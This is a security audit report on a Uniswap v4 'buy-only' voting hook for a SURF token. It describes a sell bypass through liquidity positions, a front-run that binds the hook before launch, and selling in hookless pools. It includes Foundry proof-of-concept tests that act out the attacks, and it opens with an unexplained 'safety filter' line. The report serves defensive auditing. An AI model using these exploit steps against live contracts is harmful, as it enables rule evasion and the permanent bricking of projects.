Refused by Codex's safety filter

• mediumLiquidity positions are an ungated sell path: SURF converts to ETH with no vote, outside the window and above the capsrc/BuyOnlyVoteHook.sol:128

  The brief's rule is 'buys only; sells only in a voted one-hour window, capped at 50% of yesterday's buys'. The hook enforces that rule only on swaps with zeroForOne == false (beforeSwap lines 184-191, afterSwap lines 213-219). It declares no liquidity callbacks, so any SURF holder may call PoolManager.modifyLiquidity on the hooked pool at any time.

  A position whose range lies entirely below the current tick holds only currency1 (SURF). Every buy (zeroForOne, price moves down) that crosses that range converts the parked SURF into ETH inside the position; the holder then removes the position and receives ETH. This is a limit sell order: no vote, any hour, any amount, and sold[day] is never credited, so the sell cap does not see it.

  It also serves as the unwind for wash buys: buy X (bought[day] += X), exit X through a position the same day, repeat, inflating tomorrow's cap for a fee. The README documents this as a known limitation and defers it to the operator; it is reported here because it is a trust gap in the assigned area: the access guard on swaps is correct, the liquidity path is permissionless, and the economic result is exactly the sale the guard forbids.

  Access x economics seam; actor: any SURF holder. Minimal fix that keeps the design: enable beforeAddLiquidity (and mine the new address bits) and refuse adds whose range does not include the current tick, or restrict adds to the launch transaction (block.timestamp == genesis) and refuse removals outside an open sell window, or credit the ETH-side withdrawal against sellRemaining(day) in afterRemoveLiquidity. The attached proof passes for any of these.

  whole finding

  State: pool initialized at tick 0 (sqrtPrice 1:1), seeded with full-range liquidity.

  Day 0: attacker buys with 1 ETH and receives 0.996 SURF.

  Warp to day 2, hour 1: sellWindowOpen() == false, sellCap(2) == 0 (day 1 had no buys).

  Attacker calls lpRouter.modifyLiquidity(key, {tickLower:-120, tickUpper:-60, liquidityDelta:50e18}) -> succeeds, takes 0.149 SURF and 0 ETH from the attacker.

  Another user buys with 20 ETH (price drops through the range).

  Attacker calls modifyLiquidity with liquidityDelta -50e18 -> succeeds and pays the attacker 0.151 ETH and 0 SURF.

  Expected under the brief: no SURF-to-ETH conversion is possible for the attacker on day 2 (window closed, cap 0).

  Actual: attacker's SURF became ETH; hook.sold(2) == 0; no revert anywhere.

  Proof: test/scratch/LpSellBypass.t.sol fails on this code with 'attacker sold SURF for ETH outside the rules'.

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity 0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {PoolManager} from "v4-core/src/PoolManager.sol";
  import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
  import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
  import {Hooks} from "v4-core/src/libraries/Hooks.sol";
  import {TickMath} from "v4-core/src/libraries/TickMath.sol";
  import {PoolKey} from "v4-core/src/types/PoolKey.sol";
  import {Currency} from "v4-core/src/types/Currency.sol";
  import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
  import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
  import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
  import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
  
  import {BuyOnlyVoteHook} from "src/BuyOnlyVoteHook.sol";
  import {SurfToken} from "src/SurfToken.sol";
  
  /// @notice Proof: a SURF holder sells SURF for ETH through the hooked pool with no vote, outside the
  /// sell window and with sellCap == 0, by parking SURF-only liquidity just below the price and
  /// withdrawing the ETH that the next buyer deposits there. The hook records no sale.
  ///
  /// Fails on the current code (the exit succeeds and `sold(day)` stays 0). Passes once the hook
  /// refuses the attacker's liquidity add or remove, or counts the withdrawn ETH-side exit against the
  /// day's cap (the cap is zero here, so a counted exit must revert).
  contract LpSellBypassTest is Test {
      uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
      uint256 constant START = 1_700_000_000;
  
      PoolManager manager;
      SurfToken token;
      BuyOnlyVoteHook hook;
      PoolSwapTest swapRouter;
      PoolModifyLiquidityTest lpRouter;
      PoolKey key;
  
      address attacker = makeAddr("attacker");
      address buyer = makeAddr("buyer");
  
      receive() external payable {}
  
      function setUp() public {
          vm.warp(START);
          manager = new PoolManager(address(this));
          token = new SurfToken();
          hook = deployHook();
          swapRouter = new PoolSwapTest(manager);
          lpRouter = new PoolModifyLiquidityTest(manager);
  
          key = PoolKey({
              currency0: Currency.wrap(address(0)),
              currency1: Currency.wrap(address(token)),
              fee: 3_000,
              tickSpacing: 60,
              hooks: IHooks(address(hook))
          });
          manager.initialize(key, SQRT_PRICE_1_1);
  
          // Launch seeding, at the initialization timestamp, by the initializer.
          vm.deal(address(this), 10_000 ether);
          token.approve(address(lpRouter), type(uint256).max);
          lpRouter.modifyLiquidity{value: 1_000 ether}(
              key, ModifyLiquidityParams({tickLower: -887_220, tickUpper: 887_220, liquidityDelta: 1_000e18, salt: 0}), ""
          );
  
          vm.deal(buyer, 100 ether);
          vm.deal(attacker, 1 ether);
          vm.startPrank(attacker);
          token.approve(address(lpRouter), type(uint256).max);
          token.approve(address(swapRouter), type(uint256).max);
          vm.stopPrank();
      }
  
      /// @dev Mines a salt for whatever permission set the hook under test declares, so a fix that adds
      /// liquidity callbacks still deploys. Candidates: the three declared bits plus any subset of the
      /// six liquidity-related bits.
      function deployHook() internal returns (BuyOnlyVoteHook deployed) {
          bytes memory creationCode = abi.encodePacked(type(BuyOnlyVoteHook).creationCode, abi.encode(manager));
          bytes32 initCodeHash = keccak256(creationCode);
          uint160 base = Hooks.BEFORE_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG;
          uint160[6] memory extra = [
              Hooks.BEFORE_ADD_LIQUIDITY_FLAG,
              Hooks.AFTER_ADD_LIQUIDITY_FLAG,
              Hooks.BEFORE_REMOVE_LIQUIDITY_FLAG,
              Hooks.AFTER_REMOVE_LIQUIDITY_FLAG,
              Hooks.AFTER_ADD_LIQUIDITY_RETURNS_DELTA_FLAG,
              Hooks.AFTER_REMOVE_LIQUIDITY_RETURNS_DELTA_FLAG
          ];
          for (uint256 combo = 0; combo < 64; combo++) {
              uint160 flags = base;
              for (uint256 b = 0; b < 6; b++) {
                  if (combo & (1 << b) != 0) flags |= extra[b];
              }
              bytes32 salt = mine(initCodeHash, flags);
              try new BuyOnlyVoteHook{salt: salt}(IPoolManager(address(manager))) returns (BuyOnlyVoteHook h) {
                  return h;
              } catch {}
          }
          revert("no permission set deployed");
      }
  
      function mine(bytes32 initCodeHash, uint160 flags) internal view returns (bytes32) {
          for (uint256 i = 0; i < 300_000; i++) {
              address predicted = address(
                  uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), initCodeHash))))
              );
              if ((uint160(predicted) & Hooks.ALL_HOOK_MASK) == flags) return bytes32(i);
          }
          revert("no salt");
      }
  
      function buy(address user, uint256 ethIn) internal returns (uint256 tokensOut) {
          vm.prank(user);
          BalanceDelta delta = swapRouter.swap{value: ethIn}(
              key,
              SwapParams({zeroForOne: true, amountSpecified: -int256(ethIn), sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1}),
              PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
              ""
          );
          tokensOut = uint256(int256(delta.amount1()));
      }
  
      function test_holderSellsThroughALiquidityPositionWithNoVoteAndZeroCap() public {
          // Day 0: the attacker buys SURF like anyone else.
          uint256 surf = buy(attacker, 1 ether);
          assertGt(surf, 0);
  
          // Day 1, voting hours: nobody voted, the window is closed and the cap for day 1 is bought[0]/2,
          // but we go further and use day 2 whose cap is 0 (day 1 had no buys).
          vm.warp(START + 2 days + 1 hours);
          assertFalse(hook.sellWindowOpen(), "window closed");
          assertEq(hook.sellCap(2), 0, "cap is zero");
  
          uint256 ethBefore = attacker.balance;
          uint256 surfBefore = token.balanceOf(attacker);
  
          // 1. Park SURF-only liquidity in the range just below the current price (tick 0).
          //    A range entirely below the price holds only currency1 (SURF).
          ModifyLiquidityParams memory add =
              ModifyLiquidityParams({tickLower: -120, tickUpper: -60, liquidityDelta: 50e18, salt: 0});
          vm.prank(attacker);
          try lpRouter.modifyLiquidity(key, add, "") {}
          catch {
              // The hook refuses the add: no LP-side exit is possible. Fixed.
              return;
          }
          assertLt(token.balanceOf(attacker), surfBefore, "the position took SURF from the attacker");
  
          // 2. Another user buys. The buy pushes the price down through the attacker's range, which
          //    converts the parked SURF into ETH inside the position.
          buy(buyer, 20 ether);
  
          // 3. The attacker withdraws the position and receives ETH.
          ModifyLiquidityParams memory remove =
              ModifyLiquidityParams({tickLower: -120, tickUpper: -60, liquidityDelta: -50e18, salt: 0});
          vm.prank(attacker);
          try lpRouter.modifyLiquidity(key, remove, "") {}
          catch {
              // The hook refuses the remove (or counts it against the zero cap). Fixed.
              return;
          }
  
          // Defect: SURF became ETH with the window closed, no vote, cap 0 and nothing recorded as sold.
          assertEq(hook.sold(2), 0, "the hook recorded no sale");
          assertFalse(attacker.balance > ethBefore, "attacker sold SURF for ETH outside the rules");
      }
  }

  whole proof

• mediumbeforeInitialize binds the hook to the first pool anyone initializes; a stray initialize before the launch's own bricks the hook permanentlysrc/BuyOnlyVoteHook.sol:156

  beforeInitialize checks only that the caller is the PoolManager and that currency0 is native. It does not check who initiated the initialize (the sender argument is discarded), which currency1 the pool uses, or its fee/tickSpacing.

  PoolManager.initialize is permissionless, so from the moment the hook has code until the launch's own initialize executes, any account can initialize {currency0: ETH, currency1: , hooks: this hook}; the hook stores that token, poolId, genesis and a quorum derived from the stranger's token supply, and every later initialize through the hook reverts with AlreadyInitialized.

  There is no recovery: no owner, no re-bind, so the SURF pool can never use this hook address and a new hook must be mined and deployed.

  Reachability: closed when the launch factory deploys the hook with its own CREATE2 and initializes in the same transaction; open in the repository's own documented flow, where script/Deploy.s.sol deploys through the public CREATE2 proxy 0x4e59b4...956C and the README tells the operator to initialize afterwards.

  Through that public proxy anyone can also deploy the identical creation code at the predicted address themselves and initialize the stray pool in the same transaction, so the operator finds the hook already bound. Access-control gap (unguarded initialization, Pashov 'Unprotected initialization').

  Minimal fix preserving the design: record deployer = msg.sender in the constructor and require sender == deployer in beforeInitialize (works when the factory itself executes CREATE2 and the initialize; with the public proxy the deployer would be the proxy, so in that flow check currency1 against an expected token address passed as a constructor argument instead). The attached proof passes with either.

  whole finding

  State: PoolManager deployed, SurfToken deployed, hook deployed at an address carrying 0x20C0, pool not yet initialized.

  Attacker deploys any ERC-20 stray and calls manager.initialize({currency0: 0x0, currency1: stray, fee: 3000, tickSpacing: 60, hooks: hook}, 2^96) -> succeeds; hook.token() == stray, hook.genesis() == block.timestamp, hook.quorum() == stray.totalSupply()/100.

  The launch then calls manager.initialize({currency0: 0x0, currency1: SurfToken, fee: 3000, tickSpacing: 60, hooks: hook}, 2^96).

  Expected: the launch pool initializes and the hook binds to SurfToken.

  Actual: revert WrappedError(hook, 0xdc98354e beforeInitialize, 0x0dc149f0 AlreadyInitialized(), 0xa9e35b2f HookCallFailed()).

  Proof: test/scratch/InitFrontRun.t.sol fails on this code with exactly that WrappedError.

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity 0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
  import {PoolManager} from "v4-core/src/PoolManager.sol";
  import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
  import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
  import {Hooks} from "v4-core/src/libraries/Hooks.sol";
  import {PoolKey} from "v4-core/src/types/PoolKey.sol";
  import {Currency} from "v4-core/src/types/Currency.sol";
  
  import {BuyOnlyVoteHook} from "src/BuyOnlyVoteHook.sol";
  import {SurfToken} from "src/SurfToken.sol";
  
  /// @dev Any ERC-20 the attacker controls.
  contract StrayToken is ERC20 {
      constructor() ERC20("Stray", "STRAY") {
          _mint(msg.sender, 1e24);
      }
  }
  
  /// @notice Proof: between the hook's deployment and the launch's own `initialize`, any account can
  /// bind the hook to a pool of its choosing (any currency1, any fee); the launch's initialize then
  /// reverts with `AlreadyInitialized` and the hook is unusable for the SURF pool forever.
  ///
  /// Fails on the current code. Passes once `beforeInitialize` refuses a stranger's pool (for example
  /// by requiring the initializer to be the hook's deployer, or currency1 to be the expected token).
  contract InitFrontRunTest is Test {
      uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
  
      PoolManager manager;
      SurfToken token;
      BuyOnlyVoteHook hook;
  
      address attacker = makeAddr("attacker");
  
      function setUp() public {
          vm.warp(1_700_000_000);
          manager = new PoolManager(address(this));
          token = new SurfToken();
          hook = deployHook();
      }
  
      /// @dev Mines a salt for the declared bits first, then for every variant that adds any subset of
      /// the seven other non-delta bits, so a fix that changes the permission set still deploys.
      function deployHook() internal returns (BuyOnlyVoteHook) {
          bytes memory creationCode = abi.encodePacked(type(BuyOnlyVoteHook).creationCode, abi.encode(manager));
          bytes32 initCodeHash = keccak256(creationCode);
          uint160 base = Hooks.BEFORE_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG;
          uint160[7] memory extra = [
              Hooks.AFTER_INITIALIZE_FLAG,
              Hooks.BEFORE_ADD_LIQUIDITY_FLAG,
              Hooks.AFTER_ADD_LIQUIDITY_FLAG,
              Hooks.BEFORE_REMOVE_LIQUIDITY_FLAG,
              Hooks.AFTER_REMOVE_LIQUIDITY_FLAG,
              Hooks.BEFORE_DONATE_FLAG,
              Hooks.AFTER_DONATE_FLAG
          ];
          for (uint256 combo = 0; combo < 128; combo++) {
              uint160 flags = base;
              for (uint256 b = 0; b < 7; b++) {
                  if (combo & (1 << b) != 0) flags |= extra[b];
              }
              bytes32 salt = mine(initCodeHash, flags);
              try new BuyOnlyVoteHook{salt: salt}(IPoolManager(address(manager))) returns (BuyOnlyVoteHook h) {
                  return h;
              } catch {}
          }
          revert("no permission set deployed");
      }
  
      function mine(bytes32 initCodeHash, uint160 flags) internal view returns (bytes32) {
          for (uint256 i = 0; i < 300_000; i++) {
              address predicted = address(
                  uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), initCodeHash))))
              );
              if ((uint160(predicted) & Hooks.ALL_HOOK_MASK) == flags) return bytes32(i);
          }
          revert("no salt");
      }
  
      function test_strangerBindsTheHookBeforeTheLaunchInitializes() public {
          StrayToken stray = new StrayToken();
          PoolKey memory strayKey = PoolKey({
              currency0: Currency.wrap(address(0)),
              currency1: Currency.wrap(address(stray)),
              fee: 3_000,
              tickSpacing: 60,
              hooks: IHooks(address(hook))
          });
          // Attacker: a plain, permissionless PoolManager.initialize with the hook's address in the key.
          vm.prank(attacker);
          try manager.initialize(strayKey, SQRT_PRICE_1_1) {}
          catch {
              // The hook refused a stranger's pool. Fixed.
          }
  
          // The launch (the hook's deployer, this contract) initializes the real pool. This must succeed.
          PoolKey memory launchKey = PoolKey({
              currency0: Currency.wrap(address(0)),
              currency1: Currency.wrap(address(token)),
              fee: 3_000,
              tickSpacing: 60,
              hooks: IHooks(address(hook))
          });
          manager.initialize(launchKey, SQRT_PRICE_1_1);
          assertEq(address(hook.token()), address(token), "hook bound to the launch token");
          assertEq(hook.quorum(), token.TOTAL_SUPPLY() / 100, "quorum from the launch token supply");
      }
  }

  whole proof

• lowThe sell rule exists only inside the hooked pool: SURF sells freely in any hookless pool or other venuesrc/BuyOnlyVoteHook.sol:184

  SurfToken is an unrestricted ERC-20 and the hook gates only swaps routed to its own pool. Anyone can initialize a second ETH/SURF pool on the same PoolManager with hooks == address(0) (or use any other DEX) and sell any amount at any time; the buy-only rule, the vote and the 50% cap are all bypassed and the hook sees nothing.

  The README states this ('buys only is a rule of the hooked pool, not of the token'), and the brief gives the token no rules, so this is recorded as a trust gap the author has accepted rather than a code error: the brief's 'can buys only' is not achievable with a plain token plus a single-pool hook, and the launch's liquidity being concentrated in the hooked pool is the only thing that makes the rule bite.

  Reported so the operator decides knowingly; no code change is proposed because any token-level transfer restriction would conflict with the floor's 'transfer moves exactly what it was asked' and the launch's allocation flow.

  whole finding

  Day 0: attacker buys with 1 ETH in the hooked pool and receives 0.996 SURF.

  Anyone calls manager.initialize({currency0: 0x0, currency1: SurfToken, fee: 3000, tickSpacing: 60, hooks: address(0)}, 2^96) and adds liquidity.

  Attacker swaps zeroForOne=false, amountSpecified=-0.996e18 in that pool -> receives 0.983 ETH immediately, no vote, no window, no cap; hook.sold(0) == 0.

  Expected under the brief: SURF cannot be sold on day 0.

  Actual: sold in full.